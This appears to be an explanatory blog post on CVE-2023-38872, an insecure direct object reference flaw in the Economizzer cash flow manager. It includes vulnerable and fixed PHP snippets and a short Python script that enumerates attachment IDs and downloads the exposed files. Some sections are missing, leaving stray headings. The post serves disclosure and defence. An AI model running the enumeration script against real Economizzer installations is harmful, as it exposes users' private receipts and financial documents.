CVE-2023-38872 is a security vulnerability found in Economizzer, a popular open-source cash flow manager. The issue, known as an Insecure Direct Object Reference (IDOR), allows anyone on the internet to view private file attachments (like receipts, invoices, or personal documents) uploaded by any user, as long as the attacker knows (or guesses) the file’s ID number.

Impacted versions:
- Commit 373088 (April 2023)

About Economizzer

Economizzer is a web-based application used by many people and organizations to manage their cash flow. It’s popular because it’s free, simple, and open-source. One handy feature is the ability to attach files—like PDF invoices or pictures of receipts—to cash book entries.

What is IDOR?

An Insecure Direct Object Reference (IDOR) happens when the web application exposes an internal object—like a file, database record, or user detail—by its reference (an ID or file name) without checking if the user should have access to it.

In simple terms: If I know your file's ID is 123, and I can visit /attachments/123 to see it, that's dangerous.

Why?
The app does not check if the user requesting the resource is allowed to see it.

How the Flaw Works (With Code)

The problem is in the code that handles file attachments. When anyone (even not logged in) visits a URL like:

http://economizzer.local/uploads/attachments/12345

the app gives them the file with ID 12345. It doesn't check if you’re logged in or if you’re the user who owns that file.

Let's look at a simplified PHP code example

// vulnerable code in Economizzer
$id = $_GET['id'];
$file = getFilePathById($id);

// No authentication or ownership check here!
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($file);

What’s missing?

e.g. /uploads/attachments/4321

Guesses or enumerates IDs:

Try /uploads/attachments/4322, /uploads/attachments/4323, etc.

You can automate this with a simple script in Python

import requests

URL = "http://economizzer.local/uploads/attachments/";
for file_id in range(100, 110):  # change range as needed
    resp = requests.get(URL + str(file_id))
    if resp.status_code == 200:  # file exists
        filename = f"{file_id}.dat"
        with open(filename, "wb") as f:
            f.write(resp.content)
        print(f"Downloaded file {file_id}")
    else:
        print(f"File {file_id} not found")

Note: Only run this code on systems you own or have permission to test. Unauthorized access is illegal.

Require authentication:

Only logged-in users can access /uploads/attachments/.

Example (fixed) PHP code

session_start();
$id = $_GET['id'];
$user_id = $_SESSION['user_id'];

$fileInfo = getFileInfoById($id);
// Check that the file belongs to the current user
if ($fileInfo['user_id'] != $user_id) {
    http_response_code(403);
    exit('Access denied');
}

header('Content-Disposition: attachment; filename="' . basename($fileInfo['path']) . '"');
readfile($fileInfo['path']);

If you're running Economizzer:

References & Further Reading

- Official GitHub repo: gugoan/Economizzer
- CVE-2023-38872 at NVD: NVD Link
- OWASP: Insecure Direct Object Reference (IDOR)
- Economizzer Commit 373088
- IDOR: What It Is and How To Prevent It


Summary:
CVE-2023-38872 is a classic example of why all object accesses in apps should be protected with both authentication and authorization checks. If you’re a developer or user of Economizzer, patch as soon as possible and encourage your team to look for similar flaws in other areas.

*Exclusive post for real-world defenders. Please share responsibly!*

Timeline

Published on: 09/28/2023 04:15:12 UTC
Last modified on: 10/03/2023 00:13:23 UTC